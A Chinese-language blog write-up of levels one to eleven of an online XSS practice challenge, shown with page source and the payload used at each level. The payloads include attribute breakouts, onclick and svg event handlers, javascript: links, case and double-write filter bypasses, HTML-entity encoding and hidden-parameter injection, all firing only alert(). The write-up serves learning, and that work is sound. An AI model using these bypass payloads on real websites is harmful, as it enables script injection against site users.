web安全—XSS攻击(二)
练习了DVWA靶场中的XSS了解了一些原理和攻击方式,接下来就用在线XSS平台开始实战一番。
在线XSS平台地址
第一关肯定不会太难,就用最常用的攻击语句试试。
<script>alert(/hacker/)</script>
第二关
就先把这个最简单的攻击语句放上去看看
<script>alert(/hacker/)</script>
没有出现弹窗,看下页面源代码。
<input name=keyword value="<script>alert(/hacker/)</script>">
<input type=submit name=submit value="搜索"/>
观察代码,要想我们的语句起作用,就需要把前面的<input>
标签给闭合掉。
那就输入这样的语句:
payload:
"><script>alert(/hacker/)</script>
第三关
还是那个套路,放上最常用的语句试试
没有成功,看看页面源代码
<input name=keyword value='<script>alert(/hacker/)</script>'>
<input type=submit name=submit value=搜索 />
发现输入的<和>被转义了
既然过滤了<和>,那就换一种攻击方式,用onclick 事件,onclick 事件会在元素被点击时发生。onclick 事件直接包含在<>内,并且可以被执行。再观察页面源代码,是单引号,那就在前面加'
把value给闭合掉。
payload:
'οnclick='javascript:alert(/hacker/)'
输入之后,再点击一下输入框
第四关
先拿一个攻击语句测试下,再看看页面源代码。
<input name=keyword value="scriptalert(/hacker/)/script">
<input type=submit name=submit value=搜索 />
观察到<和>直接被过滤掉了
那就用onclick 事件,这里是双引号,那就在前面输入"
,把value给闭合掉。
payload:
"οnclick="javascript:alert(/hacker/)"
第五关
还是那个套路,先输入常用的看看,没有弹窗,看看页面源代码。
<input name=keyword value=""o_nclick="javascript:alert(/xss/)"">
<input type=submit name=submit value=搜索 />
发现on中多了一个下划线,所以过滤了onclick事件,试试script
,再看页面源代码。
<input name=keyword value=""><scr_ipt>alert(/hacker/)</script>">
<input type=submit name=submit value=搜索 />
果然,script
也同样被过滤了。
那就用<a>
标签构造攻击语句试试。
payload:
"><a href="javascript:alert(/xss/)">hacker</a>
也可以再后面加上//
注释掉后面的"/
,以免对前面的语句产生影响。
第六关
输入我们刚才用的语句,看页面源代码。
<input name=keyword value="<scr_ipt>alert(/hacker/)</script>">
<input type=submit name=submit value=搜索 />
<input name=keyword value=""o_nclick="javascript:alert(/xss/)"">
<input type=submit name=submit value=搜索 />
<input name=keyword value=""><a hr_ef="javascript:alert(/xss/)">点这里</a>//">
<input type=submit name=submit value=搜索 />
可以看到在这里,href
和script
、onclick
事件都被过滤了。
这里过滤的是onclick,改为大写试试。
payload:
"ONCLICK="javascript:alert(/hacker/)"
在浏览博客的时候也看到一个大佬用的payload
"><svg x="" Onclick=alert(1)>
利用<svg>
标签进行攻击。
第七关
输入"><a href="javascript:alert(/xss/)">
查看页面源代码
<input name=keyword value=""><a ="java:alert(/xss/)">点这里</a>//">
<input type=submit name=submit value=搜索 />
输入"><script>alert(/hacker/)</script>
查看页面源代码
<input name=keyword value=""><>alert(/hacker/)</>">
<input type=submit name=submit value=搜索 />
这次更狠,直接把关键字给过滤没了
用双写绕过
payload:
"><sscriptcript>alert(/hacker/)</sscriptcript>
过滤掉中的script,但是一旦过滤掉,前后又可以重新拼接起来,形成一个完整的语句。
第八关
输入"onclick="javascript:alert(/hacker/)"
发现href,script被过滤,就试试onclick事件。
页面源代码:
<input name=keyword value=""οnclick="javascript:alert(/hacker/)"">
<input type=submit name=submit value=添加友情链接 />
发现"
,<
,>
也被转义了。
再次观察源代码,发现友情链接。。。真的是提示,这不就是<a>
标签绕过吗?
<input name=keyword value="javascript:alert(1)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a>
既然下面有<a>
标签,那我们就直接输入这个语句
javascript:alert(/hacker/)
但是script
会被过滤,换一种方式表达script
采用HTML字符实体转换地址
方法一:
payload:
javascript:alert(/hacker/)
参考大佬的payload:
方法二:用 html 的自解码机制就可以绕过
javascript:alert(0)
方法三:可以全转换为HTML实体
javascript:alert(1)
第九关
又是友情链接,把刚才的语句输入进去,查看页面源代码。
<input name=keyword value="java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/hacker/)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
我们输入的语句并没有进入到 <a>
标签中,这里应该对格式有一定要求,查看大佬的博客后发现需要添加http://
,否则不合法。
payload:
javascript:alert(/hacker/)//http://
第九关和第八关类似,区别就是第九关添加了url验证合法性。
第十关
这次更狠,连个输入框都不给。那就先看一下页面源代码吧
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
一脸懵,不知道该如何下手了,只能去查看大佬的wp了。
先测试测试哪个可以注入
查看页面源代码,发现
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value=""text"" type="hidden">
找到了,t_sort就是注入点,那就开始注入吧
代码中有隐藏的参数设置,把hidden改为text
payload:
&t_sort="οnclick="alert(/hacker/)"type="text"
也可以
&t_sort=" type="text" οnclick="alert(/hacker/)
第十一关
还没有输入框,那类型应该和第十关比较类似,先看页面源代码。
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="http://test.xss.tv/level10.php?keyword=well%20done!&t_sort=%22%20type=%22text%22%20οnclick=%22alert(1)" type="hidden">
</form>
一样的方法,先测试一下看那个可以注入
查看页面源代码
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="3" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
发现了t_sort是可以注入的,把刚才的payload拿来试试
<input name="t_sort" value=""οnclick="alert(/hacker/)"type="text"" type="hidden">
发现"
被转义了,把"
转化为HTML实体也不行。查大佬的wp吧
发现做到这一关需要burpsuite抓包工具来帮忙,所以先做到这里,等到会用抓包工具了,再回过头来继续做。
未完待续————————
web安全—XSS攻击(二)相关推荐
- web安全-XSS攻击(一)
XSS攻击和SQL注入都是web安全中很常见的攻击方式,最近先学习XSS攻击,待到XSS学完后再去学习SQL注入,哇(感慨一番),这些知识真的太有趣了. 在开始之前,有必要了解一下概念 1.XSS跨站 ...
- web漏洞--xss攻击(跨站脚本攻击漏洞)
目录 1.概述 2.风险 3.存储式XSS漏洞 4.反射式XSS漏洞 5.DOM式XSS漏洞 1.概述 XSS(cross site script)或者说跨站脚本是一种Web应用程序的漏洞,恶意攻击者 ...
- 吴翰清讲web安全--XSS攻击
跨站脚本攻击XSS XSS攻击,通常是指黑客通过"html"纂改了网页,插入了恶意的脚本,从而在用户浏览页面时,控制用户浏览器的一种攻击. <?php$input = $_G ...
- kali安装keylogger_小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser...
XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...
- html获取cookie_知了汇智《XSS攻击-盗取cookie实战》课程文档讲解
文章来源:知了汇智冯老师 今天是<web安全-XSS攻击>系列的最后一篇啦,希望大家好好学习哦~ XSS之 知了汇智-禁卫实验室(GoDun.F) 1. 编写获取cookie的代码cook ...
- Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)
什么是 XSS Payload 上一章我谈到了 XSS 攻击的几种分类以及形成的攻击的原理,并举了一些浅显的例子,接下来,我就阐述什么叫做 XSS Payload 以及从攻击者的角度来初探 XSS 攻 ...
- WEB漏洞测试(二)——HTML注入 XSS攻击
上一篇介绍了我们安装BWAPP来完成我们的漏洞测试 在BWAPP中,将HTML Injection和XSS做了非常详细的分类,那么为什么要将两个一起讲呢?归根结底,我觉得这两个分明是一个玩意,充其量是 ...
- xss攻击-面向前端的安全攻击 ─=≡Σ(((つ•̀ω•́)つ 知己知彼百战百胜 web安全
文章目录 XSS简介 测试环境 XSS工具步骤与分类 XSS用到的一些HTML和JS HTML表单文本框介绍 探测xss 反射型XSS 常用的反射型XSS攻击方法 闭合标签 使用下拉菜单 使用隐藏输入 ...
- 漏洞篇(XSS跨站脚本攻击二)
目录 一.xss challenges 闯关游戏环境准备 二.手动挖掘 XSS 漏洞 1.Stage #1 无过滤的 XSS 注入 2.Stage #2 属性中的 XSS 注入 3.Stage #3 ...
最新文章
- Labview通过RS422通讯接口PC与下位机通信
- 《CLR Via C# 第3版》笔记之(十九) - 任务(Task)
- python权限管理系统_PMS:支持多应用的统一权限管理系统,用flask+vue实现
- 数据库-优化-数据库结构的优化-拆分优化
- 移除string的最后一个字符几种方法
- android 自定义布局 根据布局获取类,android自定义布局中的平滑移动之ViewGroup实现...
- Delphi ListView基本用法大全
- Java 调用gc语句_java GC机制(转)
- macOS 安装 Win11 常见问题及解决方案
- 模拟电视原理(笔记)
- 【论文学习】HIN2Vec模型
- 苹果支持WebRTC
- FPGA时钟篇(二) 7系列clock region详解
- TFT显示屏参数设置
- 如果你对未来还有点迷茫不妨来看一下,必看的软件测试指引!!!
- DOS时代后,金山系再出神级办公软件,会像WPS一样普及
- MySQL备份工具之xtrabackup
- 提交模式窗口后,刷新父窗口数据+获取frameset中各模块中数据
- 用html5 js实现浏览器全屏
- n平方的求和公式_1到N的平方和,立方和公式是怎么推导的
热门文章
- web服务器是如何维护,我们如何维护Web客户端和Web服务器之间的会话?
- 【机器学习算法专题(蓄力计划)】二十、实操代码MNIST 数据集
- 七十、Vue城市页面Ajax动态渲染和兄弟组件数据传递
- 额外篇 | basemap(上)
- 微信小程序学习笔记(六)
- 记录处理搜狗新闻分类
- pyspider爬链家网入库遇到的坑
- MyEclipse报错:String cannot be resolved to a type
- “AI+”赋能元宇宙,一文探讨智能交互的技术支撑
- 北京招聘 | 新浪微博机器学习部门招聘推荐算法开发实习生